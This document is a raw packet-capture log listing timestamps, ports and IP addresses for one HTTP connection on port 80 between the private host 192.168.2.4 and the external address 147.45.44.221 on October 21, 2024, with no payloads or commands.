Oct 21, 2024 08:47:28.429490089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.429523945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.429584026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.429634094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.429636955 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.429667950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.429688931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.429699898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.429714918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.429745913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.429754972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.429804087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.429806948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.429842949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.429857016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.429872036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.429894924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.429903984 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.429922104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.429938078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.429949999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.429970980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.429984093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.430006981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.430018902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.430041075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.430053949 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.430087090 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.441436052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441485882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441504002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441519976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441535950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441557884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441572905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441590071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441622019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441653967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441649914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.441683054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.441689014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441723108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441723108 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.441723108 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.441757917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441790104 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441811085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.441823006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.441833973 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.441864014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.468127012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.468159914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.468192101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.468209028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.468238115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.513983011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.514017105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.514050961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.514090061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.514153957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.541608095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.541661024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.541709900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.541740894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.541759968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.541779041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.541779041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.541798115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.541825056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.541832924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.541867971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.541897058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.541915894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.541945934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.541977882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.541980028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542000055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542013884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542035103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542047024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542057991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542092085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542099953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542133093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542146921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542162895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542180061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542196035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542217016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542234898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542243004 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542280912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542304993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542356968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542360067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542399883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542407036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542440891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542453051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542474031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542489052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542506933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542521954 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542540073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542552948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542574883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542587042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542608023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542618990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542643070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542656898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542675972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542687893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542710066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542721987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542740107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542757034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542773962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542781115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542808056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542823076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542840958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542855024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542876005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542891026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542913914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542920113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542948008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542962074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.542980909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.542993069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.543015003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.543023109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.543049097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.543061018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.543081999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.543100119 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.543114901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.543127060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.543148994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.543167114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.543188095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.543200016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.543222904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.543234110 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.543256044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.543267012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.543289900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.543298960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.543319941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.543340921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.543353081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.543369055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.543390036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.543402910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.543447971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549006939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549087048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549093008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549117088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549151897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549165964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549168110 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549218893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549246073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549268961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549278021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549293041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549313068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549330950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549340963 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549360037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549372911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549388885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549410105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549421072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549439907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549458027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549474001 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549480915 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549506903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549515963 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549535990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549551964 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549571037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549583912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549607038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549619913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549635887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549648046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549669027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549685001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549702883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549716949 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549736023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549747944 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549771070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.549781084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.549818039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.560713053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.560741901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.560780048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.560797930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.560812950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.560828924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.560849905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.560867071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.560897112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.560951948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.560967922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.560986996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.561021090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.561052084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.561072111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.561085939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.561117887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.561130047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.561151028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.561184883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.561203957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.561222076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.561259985 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.561314106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.587471962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.587524891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.587527990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.587562084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.587574005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.587608099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.633356094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.633389950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.633466005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.633552074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.633656025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.660732031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.660778999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.660809994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.660836935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.660847902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.660900116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.660950899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.660965919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661003113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661014080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661051989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661056042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661088943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661098003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661130905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661140919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661171913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661185026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661206007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661235094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661261082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661272049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661286116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661319017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661330938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661350965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661370039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661385059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661420107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661438942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661453009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661473989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661485910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661495924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661524057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661530018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661556005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661565065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661590099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661595106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661623955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661640882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661659002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661690950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661701918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661724091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.661744118 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.661775112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.710366964 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.715321064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963341951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963402033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963474989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963476896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.963512897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963526011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.963562965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963597059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963606119 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.963628054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963660955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963689089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.963711977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.963712931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963747025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963774920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.963781118 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963795900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.963815928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963826895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.963850975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963861942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.963890076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963897943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.963923931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963937044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.963958025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.963970900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.963992119 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964000940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964037895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964044094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964076996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964083910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964109898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964122057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964144945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964150906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964181900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964191914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964215994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964226007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964247942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964261055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964282990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964282990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964315891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.964328051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.964349031 CEST	80	49732	147.45.44.221	192.168.2.4
